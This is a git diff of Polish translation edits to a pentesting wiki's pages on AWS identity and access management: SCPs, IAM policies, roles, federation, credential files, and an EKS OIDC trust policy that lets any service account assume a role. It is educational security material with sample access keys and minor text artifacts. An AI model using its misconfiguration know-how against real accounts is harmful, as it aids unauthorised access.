-**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tą różnicą, że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
+**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tym że **nie przyznają żadnych uprawnień**. Zamiast tego SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
-To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
+To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyta do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane).
> [!WARNING]
@@ -50,15 +50,19 @@ Jedynym sposobem na obejście tego jest również skompromitowanie **konta głó
Przykłady SCP:
-- Całkowite odmówienie konta root
+- Całkowite zablokowanie konta root
- Zezwolenie tylko na określone regiony
- Zezwolenie tylko na usługi z białej listy
-- Odmowa wyłączenia GuardDuty, CloudTrail i S3 Public Block Access
+- Zablokowanie dostępu do GuardDuty, CloudTrail i S3 Public Block Access przed
-- Odmowa usuwania lub modyfikowania ról odpowiedzialności za bezpieczeństwo/incydenty.
+byciem wyłączonym
-- Odmowa usuwania kopii zapasowych.
-- Odmowa tworzenia użytkowników IAM i kluczy dostępu
+- Zablokowanie ról odpowiedzialności za bezpieczeństwo/incydenty przed usunięciem lub
+
+zmianą.
+
+- Zablokowanie usuwania kopii zapasowych.
+- Zablokowanie tworzenia użytkowników IAM i kluczy dostępu
Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
@@ -78,17 +82,17 @@ Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania:
## IAM - Zarządzanie Tożsamością i Dostępem
-IAM to usługa, która pozwoli Ci zarządzać **Uwierzytelnianiem**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS.
+IAM to usługa, która pozwoli Ci zarządzać **uwierzytelnianiem**, **autoryzacją** i **kontrolą dostępu** w Twoim koncie AWS.
- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
-- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie, gdy już została uwierzytelniona.
-- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
+- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie po jej uwierzytelnieniu.
+- **Kontrola dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS.
### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
+Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**użytkownik główny**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**.
@@ -105,9 +109,9 @@ Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny
#### CLI
- **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT
-- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu).
+- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnego klucza dostępu).
-Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować zgodnie z tym procesem:\
+Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować według tego procesu:\
NAN;_Create nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
### MFA - Uwierzytelnianie wieloskładnikowe
@@ -126,7 +130,7 @@ Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**.
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
+Jak [**stwierdzono tutaj**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
### [Grupy użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
@@ -143,7 +147,7 @@ Oto kilka ważnych cech grup użytkowników:
### [Role IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. Użytkownik **IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
+Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. **Użytkownik IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**.
@@ -153,7 +157,7 @@ Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia
### [Tymczasowe poświadczenia w IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale istnieją również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne.
+**Tymczasowe poświadczenia są głównie używane z rolami IAM**, ale mają również inne zastosowania. Możesz zażądać tymczasowych poświadczeń, które mają bardziej ograniczony zestaw uprawnień niż standardowy użytkownik IAM. To **zapobiega** przypadkowemu **wykonywaniu zadań, które nie są dozwolone** przez bardziej ograniczone poświadczenia. Korzyścią z tymczasowych poświadczeń jest to, że wygasają automatycznie po określonym czasie. Masz kontrolę nad czasem, przez jaki poświadczenia są ważne.
### Polityki
@@ -165,7 +169,7 @@ Służą do przypisywania uprawnień. Istnieją 2 typy:
- Polityki zarządzane przez klienta: skonfigurowane przez Ciebie. Możesz tworzyć polityki na podstawie polityk zarządzanych przez AWS (modyfikując jedną z nich i tworząc własną), korzystając z generatora polityk (widok GUI, który pomaga w przyznawaniu i odmawianiu uprawnień) lub pisząc własne.
Zgodnie z **domyślnym dostępem** jest **odmowa**, dostęp zostanie przyznany, jeśli określono wyraźną rolę.\
-Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
+Jeśli **istnieje pojedyncza "Deny", to nadpisze "Allow"**, z wyjątkiem żądań, które używają poświadczeń bezpieczeństwa głównego konta AWS (które są dozwolone domyślnie).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -188,19 +192,19 @@ Jeśli **istnieje pojedyncza "Odmowa", nadpisze "Zezwolenie"**, z wyjątkiem ż
]
}
```
-The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Policies
-Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. Wtedy nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
-Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której jest stosowana. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. To dlatego, że są częścią głównego podmiotu.
+Ten rodzaj polityk jest **bezpośrednio przypisany** do użytkownika, grupy lub roli. W związku z tym nie pojawiają się one na liście Polityk, ponieważ nikt inny nie może ich używać.\
+Polityki inline są przydatne, jeśli chcesz **utrzymać ścisłą relację jeden do jednego między polityką a tożsamością**, do której są stosowane. Na przykład, chcesz mieć pewność, że uprawnienia w polityce nie są przypadkowo przypisane do tożsamości innej niż ta, dla której są przeznaczone. Kiedy używasz polityki inline, uprawnienia w polityce nie mogą być przypadkowo przypisane do niewłaściwej tożsamości. Dodatkowo, gdy używasz konsoli zarządzania AWS do usunięcia tej tożsamości, polityki osadzone w tożsamości są również usuwane. Dzieje się tak, ponieważ są częścią głównego podmiotu.
#### Resource Bucket Policies
To są **polityki**, które mogą być definiowane w **zasobach**. **Nie wszystkie zasoby AWS je wspierają**.
-Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są dozwolone.
+Jeśli główny podmiot nie ma wyraźnego odmowy dostępu do nich, a polityka zasobów przyznaje im dostęp, to są one dozwolone.
### IAM Boundaries
@@ -208,13 +212,13 @@ Granice IAM mogą być używane do **ograniczenia uprawnień, do których użytk
Granica to po prostu polityka przypisana do użytkownika, która **wskazuje maksymalny poziom uprawnień, jakie użytkownik lub rola mogą mieć**. Tak więc, **nawet jeśli użytkownik ma dostęp administratora**, jeśli granica wskazuje, że może tylko czytać kosze S·, to jest to maksymalne, co może zrobić.
-**To**, **SCP** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
+**To**, **SCPs** i **przestrzeganie zasady najmniejszych uprawnień** to sposoby kontrolowania, aby użytkownicy nie mieli więcej uprawnień niż te, których potrzebują.
### Session Policies
Polityka sesji to **polityka ustawiana, gdy rola jest przyjmowana** w jakiś sposób. Będzie to jak **granica IAM dla tej sesji**: Oznacza to, że polityka sesji nie przyznaje uprawnień, ale **ogranicza je do tych wskazanych w polityce** (maksymalne uprawnienia to te, które ma rola).
-To jest przydatne dla **środków bezpieczeństwa**: Kiedy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, na wypadek gdyby sesja została skompromitowana.
+To jest przydatne dla **środków bezpieczeństwa**: Gdy administrator ma przyjąć bardzo uprzywilejowaną rolę, może ograniczyć uprawnienia tylko do tych wskazanych w polityce sesji, w przypadku gdy sesja zostanie skompromitowana.
```bash
aws sts assume-role \
--role-arn \
@@ -222,94 +226,94 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Note that by default **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z zaawansowanej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Zauważ, że domyślnie **AWS może dodać polityki sesji do sesji**, które będą generowane z powodu innych przyczyn. Na przykład, w [nieautoryzowanych rolach przyjętych przez Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) domyślnie (korzystając z ulepszonej autoryzacji), AWS wygeneruje **poświadczenia sesji z polityką sesji**, która ogranicza usługi, do których sesja ma dostęp [**do następującej listy**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
-Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **istnieje polityka sesji, która to uniemożliwia**.
+Dlatego, jeśli w pewnym momencie napotkasz błąd "... ponieważ żadna polityka sesji nie zezwala na ...", a rola ma dostęp do wykonania akcji, to dlatego, że **istnieje polityka sesji, która to uniemożliwia**.
-### Identity Federation
+### Federacja Tożsamości
-Identity federation **pozwala użytkownikom z dostawców tożsamości, które są zewnętrzne** dla AWS na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
+Federacja tożsamości **pozwala użytkownikom z dostawców tożsamości, którzy są zewnętrzni** dla AWS, na bezpieczny dostęp do zasobów AWS bez konieczności podawania poświadczeń użytkownika AWS z ważnego konta IAM.\
Przykładem dostawcy tożsamości może być twoje własne korporacyjne **Microsoft Active Directory** (poprzez **SAML**) lub usługi **OpenID** (jak **Google**). Dostęp federacyjny pozwoli użytkownikom w nim na dostęp do AWS.
-To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
+Aby skonfigurować to zaufanie, generowany jest **dostawca tożsamości IAM (SAML lub OAuth)**, który **ufa** **innej platformie**. Następnie przynajmniej jedna **rola IAM jest przypisana (ufająca) do dostawcy tożsamości**. Jeśli użytkownik z zaufanej platformy uzyskuje dostęp do AWS, uzyskuje dostęp jako wspomniana rola.
-However, you will usually want to give a **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
+Jednak zazwyczaj będziesz chciał nadać **inną rolę w zależności od grupy użytkownika** na zewnętrznej platformie. Wtedy kilka **ról IAM może ufać** zewnętrznemu dostawcy tożsamości, a zewnętrzna platforma będzie tą, która pozwoli użytkownikom na przyjęcie jednej roli lub innej.
-### IAM Identity Center
+### Centrum Tożsamości IAM
-AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkownikami i ich dostępem do kont AWS** oraz aplikacji w chmurze.
+AWS IAM Identity Center (następca AWS Single Sign-On) rozszerza możliwości AWS Identity and Access Management (IAM), aby zapewnić **centralne miejsce**, które łączy **administrację użytkowników i ich dostęp do kont AWS** oraz aplikacji w chmurze.
-The login domain is going to be something like `.awsapps.com`.
+Domena logowania będzie wyglądać mniej więcej jak `.awsapps.com`.
-To login users, there are 3 identity sources that can be used:
+Aby zalogować użytkowników, można użyć 3 źródeł tożsamości:
-- Identity Center Directory: Regular AWS users
-- Active Directory: Supports different connectors
-- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
+- Directory Centrum Tożsamości: Zwykli użytkownicy AWS
+- Active Directory: Obsługuje różne konektory
+- Zewnętrzny dostawca tożsamości: Wszyscy użytkownicy i grupy pochodzą od zewnętrznego dostawcy tożsamości (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **dowolnych kont** organizacji.
+W najprostszym przypadku katalogu Centrum Tożsamości, **Centrum Tożsamości będzie miało listę użytkowników i grup** i będzie mogło **przypisywać polityki** do nich do **dowolnych kont** organizacji.
-In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
+Aby nadać dostęp użytkownikowi/grupie Centrum Tożsamości do konta, **zostanie utworzony zaufany dostawca tożsamości SAML**, a **rola zaufana dostawcy tożsamości z wskazanymi politykami zostanie utworzona** w docelowym koncie.
#### AwsSSOInlinePolicy
-It's possible to **dać uprawnienia za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Rola utworzona w kontach, którym nadano **polityki inline w AWS Identity Center**, będzie miała te uprawnienia w polityce inline nazwanej **`AwsSSOInlinePolicy`**.
+Możliwe jest **nadawanie uprawnień za pomocą polityk inline do ról utworzonych za pomocą IAM Identity Center**. Role utworzone w kontach, którym nadawane są **polityki inline w AWS Identity Center**, będą miały te uprawnienia w polityce inline o nazwie **`AwsSSOInlinePolicy`**.
-Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **nie oznacza, że ma te same uprawnienia**.
+Dlatego, nawet jeśli zobaczysz 2 role z polityką inline o nazwie **`AwsSSOInlinePolicy`**, to **nie oznacza, że mają te same uprawnienia**.
-### Cross Account Trusts and Roles
+### Zaufania i Role Między Kontami
-**Użytkownik** (ufający) może utworzyć rolę Cross Account z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (ufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać Cross Account Role. Role dla dostępu między kontami oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
-Zaleca się **określenie użytkownika, który jest ufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
+**Użytkownik** (ufający) może utworzyć rolę międzykontową z pewnymi politykami, a następnie **zezwolić innemu użytkownikowi** (zaufanemu) na **dostęp do swojego konta**, ale tylko **mając dostęp wskazany w nowych politykach roli**. Aby to utworzyć, wystarczy utworzyć nową rolę i wybrać rolę międzykontową. Role do dostępu międzykontowego oferują dwie opcje. Zapewnienie dostępu między kontami AWS, które posiadasz, oraz zapewnienie dostępu między kontem, które posiadasz, a zewnętrznym kontem AWS.\
+Zaleca się **określenie użytkownika, który jest zaufany, a nie podawanie czegoś ogólnego**, ponieważ w przeciwnym razie inni uwierzytelnieni użytkownicy, tacy jak użytkownicy federacyjni, będą mogli również nadużywać tego zaufania.
### AWS Simple AD
-Not supported:
+Nieobsługiwane:
-- Trust Relations
-- AD Admin Center
-- Full PS API support
-- AD Recycle Bin
-- Group Managed Service Accounts
-- Schema Extensions
-- No Direct access to OS or Instances
+- Relacje zaufania
+- Centrum administracyjne AD
+- Pełne wsparcie PS API
+- Kosz na śmieci AD
+- Zarządzane konta usług grupowych
+- Rozszerzenia schematu
+- Brak bezpośredniego dostępu do OS lub instancji
-#### Web Federation or OpenID Authentication
+#### Federacja Webowa lub Uwierzytelnianie OpenID
-The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
+Aplikacja używa AssumeRoleWithWebIdentity do tworzenia tymczasowych poświadczeń. Jednak nie daje to dostępu do konsoli AWS, tylko dostęp do zasobów w AWS.
-### Other IAM options
+### Inne opcje IAM
-- You can **ustawić politykę hasła**, opcje takie jak minimalna długość i wymagania dotyczące hasła.
-- You can **pobierać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takich jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak raz co **cztery godziny**.
+- Możesz **ustawić politykę haseł**, opcje takie jak minimalna długość i wymagania dotyczące haseł.
+- Możesz **pobrać "Raport poświadczeń"** z informacjami o bieżących poświadczeniach (takimi jak czas utworzenia użytkownika, czy hasło jest włączone...). Możesz generować raport poświadczeń tak często, jak co **cztery godziny**.
-AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **kto może uzyskać dostęp do jakich usług i zasobów**, i na jakich warunkach. With IAM policies, you manage permissions to your workforce and systems to **zapewnić uprawnienia minimalne**.
+AWS Identity and Access Management (IAM) zapewnia **szczegółową kontrolę dostępu** w całym AWS. Dzięki IAM możesz określić **kto może uzyskać dostęp do jakich usług i zasobów**, oraz na jakich warunkach. Dzięki politykom IAM zarządzasz uprawnieniami dla swojej siły roboczej i systemów, aby **zapewnić minimalne uprawnienia**.
-### IAM ID Prefixes
+### Prefiksy ID IAM
-In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **prefiksy ID IAM** kluczy w zależności od ich natury:
+Na [**tej stronie**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) możesz znaleźć **prefiksy ID IAM** kluczy w zależności od ich natury:
| ABIA | [Token nosiciela usługi AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Poświadczenie specyficzne dla kontekstu |
-| AGPA | Grupa użytkowników |
-| AIDA | Użytkownik IAM |
+| ACCA | Poświadczenie specyficzne dla kontekstu |
+| AGPA | Grupa użytkowników |
+| AIDA | Użytkownik IAM |
| AIPA | Profil instancji Amazon EC2 |
-| AKIA | Klucz dostępu |
-| ANPA | Polityka zarządzana |
-| ANVA | Wersja w polityce zarządzanej |
-| APKA | Klucz publiczny |
+| AKIA | Klucz dostępu |
+| ANPA | Polityka zarządzana |
+| ANVA | Wersja w polityce zarządzanej |
+| APKA | Klucz publiczny |
| AROA | Rola |
| ASCA | Certyfikat |
| ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. |
-### Recommended permissions to audit accounts
+### Zalecane uprawnienia do audytu kont
-The following privileges grant various read access of metadata:
+Następujące uprawnienia przyznają różny dostęp do odczytu metadanych:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -320,13 +324,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## Misc
+## Różne
-### CLI Authentication
+### Uwierzytelnianie CLI
-In order for a regular user authenticate to AWS via CLI you need to have **lokalne poświadczenia**. By default you can configure them **ręcznie** w `~/.aws/credentials` or by **uruchamiając** `aws configure`.\
-In that file you can have more than one profile, if **żaden profil** nie jest określony przy użyciu **aws cli**, użyty zostanie ten nazwany **`[default]`** w tym pliku.\
-Example of credentials file with more than 1 profile:
+Aby zwykły użytkownik mógł uwierzytelnić się w AWS za pomocą CLI, musisz mieć **lokalne poświadczenia**. Domyślnie możesz je skonfigurować **ręcznie** w `~/.aws/credentials` lub **uruchamiając** `aws configure`.\
+W tym pliku możesz mieć więcej niż jeden profil, jeśli **żaden profil** nie jest określony przy użyciu **aws cli**, używany będzie ten o nazwie **`[default]`** w tym pliku.\
+Przykład pliku poświadczeń z więcej niż 1 profilem:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -349,13 +353,13 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-Z tym plikiem konfiguracyjnym możesz następnie używać aws cli w ten sposób:
+Z tym plikiem konfiguracyjnym możesz następnie używać aws cli, jak:
```
aws --profile acc2 ...
```
Jeśli szukasz czegoś **podobnego** do tego, ale dla **przeglądarki**, możesz sprawdzić **rozszerzenie** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
-## References
+## Odniesienia
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 8c71f9102..9218930cd 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,7 +10,7 @@ Aby uzyskać informacje o SAML, sprawdź:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
+Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** oraz **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym)
## OIDC - Nadużycie Github Actions
@@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
-Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka:
+Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu przez ustawienie **OIDC URL** klastra jako **nowego dostawcy tożsamości Open ID**. To jest powszechna domyślna polityka:
```json
{
"Version": "2012-10-17",
@@ -108,13 +108,13 @@ Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawi
]
}
```
-Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę.
+Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **KAŻDE konto usługi z tokenem tożsamości webowej** będzie **mogło przyjąć** rolę.
Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-## References
+## Odniesienia
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 5f8e6ddf4..e7e7969fc 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -1,4 +1,4 @@
-# AWS - Uprawnienia do Pentestu
+# AWS - Uprawnienia do Pentestów
{{#include ../../banners/hacktricks-training.md}}
@@ -10,8 +10,8 @@ To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz aud
- **access-analyzer:Get\***
